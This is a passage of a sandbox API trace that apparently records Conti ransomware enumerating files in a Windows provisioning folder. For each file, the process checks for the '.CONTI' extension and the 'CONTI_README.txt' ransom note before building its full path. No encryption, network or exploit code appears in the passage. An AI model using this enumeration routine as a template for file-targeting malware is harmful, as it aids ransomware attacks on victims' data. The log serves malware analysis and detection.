	[0109.646] lstrlenW (lpString="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml") returned 72
	[0109.646] GetProcessHeap () returned 0x1720000
	[0109.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17fa498
	[0109.646] lstrcpyW (in: lpString1=0x17fa498, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml"
	[0109.646] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="549__C~1.PRO")) returned 1
	[0109.646] lstrcmpiW (lpString1="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.646] lstrcmpiW (lpString1="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.646] StrStrIW (lpFirst="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.646] StrStrIW (lpFirst="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.646] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.646] lstrlenW (lpString="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.646] GetProcessHeap () returned 0x1720000
	[0109.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65b6b28
	[0109.646] lstrcpyW (in: lpString1=0x65b6b28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml"
	[0109.646] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="54__CO~1.PRO")) returned 1
	[0109.646] lstrcmpiW (lpString1="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.647] lstrcmpiW (lpString1="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.647] StrStrIW (lpFirst="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.647] StrStrIW (lpFirst="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.647] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.647] lstrlenW (lpString="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.647] GetProcessHeap () returned 0x1720000
	[0109.647] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65b7940
	[0109.647] lstrcpyW (in: lpString1=0x65b7940, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.647] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.647] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml"
	[0109.647] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="550__C~1.PRO")) returned 1
	[0109.647] lstrcmpiW (lpString1="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.647] lstrcmpiW (lpString1="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.647] StrStrIW (lpFirst="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.647] StrStrIW (lpFirst="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.647] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.647] lstrlenW (lpString="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.647] GetProcessHeap () returned 0x1720000
	[0109.647] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65b7d18
	[0109.647] lstrcpyW (in: lpString1=0x65b7d18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.647] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.647] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml"
	[0109.647] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", cAlternateFileName="551__C~1.PRO")) returned 1
	[0109.647] lstrcmpiW (lpString1="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.647] lstrcmpiW (lpString1="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.647] StrStrIW (lpFirst="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.647] StrStrIW (lpFirst="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.647] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.647] lstrlenW (lpString="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.647] GetProcessHeap () returned 0x1720000
	[0109.648] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x65b72d8
	[0109.648] lstrcpyW (in: lpString1=0x65b72d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml"
	[0109.648] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", cAlternateFileName="552__C~1.PRO")) returned 1
	[0109.648] lstrcmpiW (lpString1="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.648] lstrcmpiW (lpString1="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.648] StrStrIW (lpFirst="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.648] StrStrIW (lpFirst="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.648] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.648] lstrlenW (lpString="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml") returned 63
	[0109.648] GetProcessHeap () returned 0x1720000
	[0109.648] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x65b6c70
	[0109.648] lstrcpyW (in: lpString1=0x65b6c70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml"
	[0109.648] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", cAlternateFileName="553__C~1.PRO")) returned 1
	[0109.648] lstrcmpiW (lpString1="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.648] lstrcmpiW (lpString1="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.648] StrStrIW (lpFirst="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.648] StrStrIW (lpFirst="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.648] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.648] lstrlenW (lpString="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.648] GetProcessHeap () returned 0x1720000
	[0109.648] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x65b7420
	[0109.648] lstrcpyW (in: lpString1=0x65b7420, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.648] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml"
	[0109.648] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", cAlternateFileName="554__C~1.PRO")) returned 1
	[0109.648] lstrcmpiW (lpString1="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.649] lstrcmpiW (lpString1="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.649] StrStrIW (lpFirst="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.649] StrStrIW (lpFirst="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.649] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.649] lstrlenW (lpString="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.649] GetProcessHeap () returned 0x1720000
	[0109.649] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x65b84c8
	[0109.649] lstrcpyW (in: lpString1=0x65b84c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.649] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.649] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml"
	[0109.649] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", cAlternateFileName="555__C~1.PRO")) returned 1
	[0109.649] lstrcmpiW (lpString1="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.649] lstrcmpiW (lpString1="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.649] StrStrIW (lpFirst="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.649] StrStrIW (lpFirst="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.649] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.649] lstrlenW (lpString="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.649] GetProcessHeap () returned 0x1720000
	[0109.649] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65b8380
	[0109.649] lstrcpyW (in: lpString1=0x65b8380, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.649] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.649] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml"
